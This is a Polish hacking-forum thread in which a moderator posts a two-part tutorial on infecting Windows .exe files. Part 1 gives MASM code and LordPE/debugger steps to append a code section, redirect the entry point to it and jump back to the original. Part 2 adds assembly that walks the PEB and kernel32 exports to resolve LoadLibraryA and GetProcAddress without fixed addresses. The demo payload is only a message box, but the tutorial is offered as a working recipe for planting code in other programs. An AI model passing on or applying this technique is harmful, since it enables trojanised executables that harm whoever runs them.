Poka¿ wyniki od 1 do 2 z 2

Temat: [Tutorial]Infekcja plików exe cz.1

  1. #1
    Dawni Moderatorzy Avatar grzonu
    Do³±czy³
    26-12-2006
    Sk±d
    Gdansk, Poland, Poland
    Posty
    1 392

    Domy¶lnie

    Infekcja plików exe ? Tutorial
    cz.1 - XP

    Przygotowa³em tutorial na temat infekcji plików exe.
    Co bêdzie nam potrzebne:
    - Defixed lub inny debugger
    - LordPe
    - Hexplorer lub inny hexedytor
    - masm
    - znajomosc asmeblera

    Zasada dzialania:
    Do docelowego programu dodajemy dodatkowa sekcje z kodem i ustawiamy na nia Entry Point wykonujemy nasz kod a nastepnie skaczemy do miejsca starego Entry Pointu

    Zaczynamy

    Najpierw znajdzmy plik ktory chcemy zmodyfikowac i dodac do niego swoj kod.
    Je¶li juz go mamy musimy napisac swoj kod ktory ma zostac wykonany. Napiszemy go w asemblerze ale tak aby zadna

    funkcja nie byla importowana z IAT(tablica importow). Posluzy nam do tego masm.

    Kod:
    GetFunc PROC adr1:dword,adr2:dword
    PUSH adr1 * * *;rzucamy na stos nazwe dll`ki
    mov eax,7C801D7Bh * *;kopiujemy do eax adres LoadLibraryA
    CALL eax * *;wywolujemy LoadLibraryA
    PUSH adr2 * *;rzucamy na stos nazwe importowanej funkcji
    PUSH eax * *;rzucamy na stos adres biblioteki
    mov eax,7C80AE30h * *;kopiujemy do eax adres GetProcAddress
    CALL eax * *;wywolujemy GetProcAddress
    ret * *;zwracamy adres funkcji
    GetFunc endp
    w naszym kodzie wywolamy funkcje MessageBoxA.
    Napiszmy wiec kod
    Kod:
    .386
    .model flat,stdcall
    option casemap:none
    GetFunc PROTO :dword,:dword
    .data
    msg db "MessageBoxA",0
    dll db "user32.dll",0
    wiad1 db "kodzik",0
    wiad2 db "msg",0
    .code
    start:
    PUSH OFFSET msg * * *;rzucamy na stos nazwe funkcji
    PUSH OFFSET dll * * *;rzucamy na stos nazwe dll`ki
    CALL GetFunc * * * * *;wywoujemy nasza funkcje pobierajaca adres
    PUSH 0 * * * * * * * *;rzucamy parametry funkcji MessageBoxA
    PUSH OFFSET wiad1 * *;rzucamy parametry funkcji MessageBoxA
    PUSH OFFSET wiad2 * *;rzucamy parametry funkcji MessageBoxA
    PUSH 0 * * * * * * * *;rzucamy parametry funkcji MessageBoxA
    CALL eax * * * * * * *;wywolujemy MessageBoxA
    xor eax, eax * * * * *;zerujemy eax
    ret * * * * * * * * *;koniec;musimy zostawic kilka NOP`ow aby po tym kodzie zrobic skok do starego EP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    NOP
    
    ;nasza funkcja :)
    GetFunc PROC adr1:dword,adr2:dword
    PUSH adr1 * * * * * *;rzucamy na stos nazwe dll`ki
    mov eax,7C801D7Bh * *;kopiujemy do eax adres LoadLibraryA
    CALL eax * * * * * * *;wywolujemy LoadLibraryA
    PUSH adr2 * * * * * *;rzucamy na stos nazwe importowanej funkcji
    PUSH eax * * * * * * *;rzucamy na stos adres biblioteki
    mov eax,7C80AE30h * *;kopiujemy do eax adres GetProcAddress
    CALL eax * * * * * * *;wywolujemy GetProcAddress
    ret * * * * * * * * *;zwracamy adres funkcji
    GetFunc endp
    
    ;tu zostawiamy troche nopow ktore beda nam potrzebne pozniej do wrzucenia stringow
    NOP
    NOP
    NOP
    NOP
    NOP
    ...
    ...
    ...
    
    end start
    Ten kod kompilujemy prace z masmem mamy za soba.
    Teraz musimy otworzyc hexedytor i przekopiowac nasze stringi w miejsce nopow ktore zostawilismy na koncu
    http://img329.imageshack.us/img329/5193/81970425.jpg
    http://img37.imageshack.us/img37/4049/31100984.jpg
    zaznaczamy stringi ktore mamy nizej w sekcji data i naciskamy ctrl+c potem klikamy w miejsce nopow i naciskamy ctrl+v
    nastepnie zapisujemy ten plik.

    Koniec zabawy z hexedytorem

    Teraz nalezy zapisac stary entry point na kartce w tym celu otwieramy defixed i otwieramy w nim plik ktory bedziemy
    modyfikowac. Otworzy siê nam okno z kodem tego programu i musimy przepisac numer ktory jest na na czarnym tle w

    kolumnie address(najczesciej 00401000 choc moze byc inny)

    Teraz musimy przekopiowac sekcje kodu do docelowego programu.
    uzyjemy do tego programu LordPE
    otwieramy go i klikamy na PE editor wybieramy plik ktory chwile temu modyfikowalismy i klikamy na

    sections wybieramy ta sekcje ktora ma flage 60000020 (zwykle nazywa sie code lub text) i kliakmy na niej

    prawym przyciskiem myszy i wybieramy save section to disc i zapisujemy sekcje w pliku na dysku
    nastepnie otwieramy docelowy plik przez LordPE i postepujemy tak samo jak w przypadku pliku wczesniejszego z tym ze

    tutaj robimy Load section from disc i wybieramy wczesniej zapisan± sekcje i zapisujemy(np. na kartce) VOffset

    dodanej sekcji. i na nowej sekcji klikamy prawym przyciskiem myszki i klikamy na edit section header
    ustawiamy flags na 60000020 klikamy ok. pozostaje jeszcze jedno zmienic entry point na ten zapisany na

    kartce(Voffset).
    wiec w pierwsze pole w glownym oknie wpisujemy nowy entry point i klikamy save.

    Teraz trzeba bedzie zmodyfikowac adresy stringow na takie ktore mamy w kodzie na rysunku zaznaczylem gdzie sie

    zaczynaja jakie stringi(string zaczyna sie znakiem a konczy 00)
    http://img26.imageshack.us/img26/1110/63811952.jpg
    http://img257.imageshack.us/img257/9539/56582823.jpg
    Teraz trzeba w miejsce wskazane na drugim rysunku w miejsce RET wpisac JMP stary_entry_point
    Np. JMP 00401000 Zapisujemy teraz plik(copy to executable->all modyfication) i cieszymy sie zainfekowanym plikiem.

    kod zrodlowy

    Ta metoda dziala tylko w systemie XP i nizszych gdyz w Viscie kernel32.dll nie jest ladowany zawsze pod ten sam adres
    o tym jak zrobic to w viscie w cz.2 ktora mam nadzieje niebawem powstanie



    Tutorial pochodzi ze strony grzonu.pl i nie moze byc kopiowany bez zgody autora
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

  2. #2
    Dawni Moderatorzy Avatar grzonu
    Do³±czy³
    26-12-2006
    Sk±d
    Gdansk, Poland, Poland
    Posty
    1 392

    Domy¶lnie

    Cz.2

    Tak jak obieca³em powsta³a czê¶æ druga tutorialu dotycz±cego infekcji plikow exe
    Robimy to identycznie jak w czê¶ci pierwszej z tym ze procedura szukaj±ca nie moze kozystac z adresow GetProcAddress i LoadLibrary wpisanych na sta³e.

    Musimy napisac procedurê szukaj±c± adresu GetProcAddress i LoadLibrary
    Kod:
    ;ta funkcja zwroci adres GetProcAddress
    GetPr PROC 
    get_delta:****
    ************
    ************mov eax,fs:dword ptr [30h]
    ************mov****eax, [eax+0Ch]********
    ********mov****esi, [eax+1Ch]********
    ********lodsd****************
    ********mov****ebx, [eax+08h]********
    
    ********mov****edx, [ebx+3Ch]
    ********add****edx, ebx
    
    ********mov****edx, [edx+78h]
    ********add****edx, ebx********
    ********mov****esi, [edx+20h]
    ************add****esi, ebx********
    ********xor****ecx, ecx********
    
    
    find_GetProcAddr:
    ********inc****ecx
    ********lodsd****************
    ********add****eax, ebx
    ********** 
    ********** 
    ****************.IF byte ptr [eax]==71 && byte ptr[eax+1] == 101 && byte ptr[eax+2] == 116 && byte ptr[eax+3] == 80 && byte ptr[eax+4] == 114 && byte ptr[eax+5] == 111
    ********************.IF byte ptr[eax+6] == 99 && byte ptr[eax+7] == 65 && byte ptr[eax+8] == 100 && byte ptr[eax+9] == 100 && byte ptr[eax+0Ah] == 114 && byte ptr[eax+0Bh] == 101** 
    ********************NOP
    ********************.ELSE
    ********************JMP find_GetProcAddr
    ********************.ENDIF
    ****************.ELSE
    ****************JMP find_GetProcAddr
    ****************.ENDIF
    ****************
    ********************** 
    ********** ****dec****ecx************
    ************mov****esi, [edx+1Ch]********
    ********add****esi, ebx
    ********mov****edx, [esi+ecx*4]
    ********add****edx, ebx********
    ********mov eax,edx
    ************ret
    GetPr endp
    Kod:
    ;ta funkcja pobiera adres LoadLibraryA
    GetLoadLib PROC
    
    get_delta:****
    ************mov eax,fs:dword ptr [30h]
    ************mov****eax, [eax+0Ch]********
    ********mov****esi, [eax+1Ch]********
    ********lodsd****************
    ********mov****ebx, [eax+08h]********
    
    ********mov****edx, [ebx+3Ch]
    ********add****edx, ebx
    
    ********mov****edx, [edx+78h]
    ********add****edx, ebx********
    ********mov****esi, [edx+20h]
    ************add****esi, ebx********
    ********xor****ecx, ecx********
    
    
    find_GetProcAddr:
    ********inc****ecx
    ********lodsd****************
    ********add****eax, ebx
    ********** 
    ********** 
    ****************.IF byte ptr [eax]==76 && byte ptr[eax+1] == 111 && byte ptr[eax+2] == 97 && byte ptr[eax+3] == 100 && byte ptr[eax+4] == 76 && byte ptr[eax+5] == 105
    ********************.IF byte ptr[eax+6] == 98 && byte ptr[eax+7] == 114 && byte ptr[eax+8] == 97 && byte ptr[eax+9] == 114 && byte ptr[eax+0Ah] == 121 && byte ptr[eax+0Bh] == 65** 
    ********************NOP
    ********************.ELSE
    ********************JMP find_GetProcAddr
    ********************.ENDIF
    ****************.ELSE
    ****************JMP find_GetProcAddr
    ****************.ENDIF
    ****************
    ********************** 
    ********** ****dec****ecx************
    **********************
    
    ********mov****esi, [edx+1Ch]********
    ********add****esi, ebx
    ********mov****edx, [esi+ecx*4]
    ********add****edx, ebx********
    ********mov eax,edx
    ************ret
    
    
    GetLoadLib endp
    A nasza stara funkcja do szukania adresu dowolnej funkcji ma teraz nastêpuj±c± postac

    Kod:
    GetFunc PROC adr1:dword,adr2:dword
    ********************************
    CALL GetLoadLib;pobieramy adres LoadLibraryA
    PUSH adr1********;rzucamy na stos nazwe ladowanej biblioteki
    CALL eax**********;Wywolujemy LoadLibraryPUSH adr2;rzucamy na stos nazwe funkcji
    PUSH eax******** ;rzucamy na stos uchwyt zwrocony przez LoadLibrary
    CALL GetPr****** ;Wywolujemy funkcje szukajaca adresu GetProcAddress
    CALL eax**********;Wywolujemy GetProcAddress
    ret;Zwracamy adres poszukiwanej funkcji
    ************************************
    GetFunc endp
    caly kod zrodlowy jest TU

    Wiem ze ten kod móg³by wygl±daæ duzo ladniej ale jakos nie mialem pomyslu zeby go upiêkszyæ jak ktos chce to prosze bardzo
    Filmy online---Grzonu Blog

    1) Moje gg to nie pomoc techniczna w obsludze keyloggerow!!! Na gg i pw pomagam tylko w kwestiach organizacyjnych forum. Masz problem to pisz na forum.
    2) Nie zajmuje sie malware a uprzedzajac pytanie "czemu?" - bo taki mam kaprys!

Podobne w±tki

  1. Tutorial-problem
    Przez ulosok
    w forum Hasla - Skanery - IP ...
    Odpowiedzi: 1
    Ostatni post / autor: 09-07-2009, 12:41
  2. [Tutorial]SQL Injection
    Przez Magnefikko
    w forum Tutoriale - czêste pytania i odpowiedzi.
    Odpowiedzi: 0
    Ostatni post / autor: 19-06-2008, 11:47
  3. [Tutorial]Socjotechnika
    Przez Magnefikko
    w forum Tutoriale - czêste pytania i odpowiedzi.
    Odpowiedzi: 1
    Ostatni post / autor: 10-06-2008, 19:33
  4. Tutorial - Ukrywanie IP w GG
    Przez mrx1
    w forum Tutoriale - czêste pytania i odpowiedzi.
    Odpowiedzi: 1
    Ostatni post / autor: 19-05-2007, 20:05
  5. Tutorial Phytona
    Przez Irranus
    w forum Inne
    Odpowiedzi: 2
    Ostatni post / autor: 04-09-2005, 21:05

Uprawnienia

  • Nie mo¿esz zak³adaæ nowych tematów
  • Nie mo¿esz pisaæ wiadomo¶ci
  • Nie mo¿esz dodawaæ za³±czników
  • Nie mo¿esz edytowaæ swoich postów
  •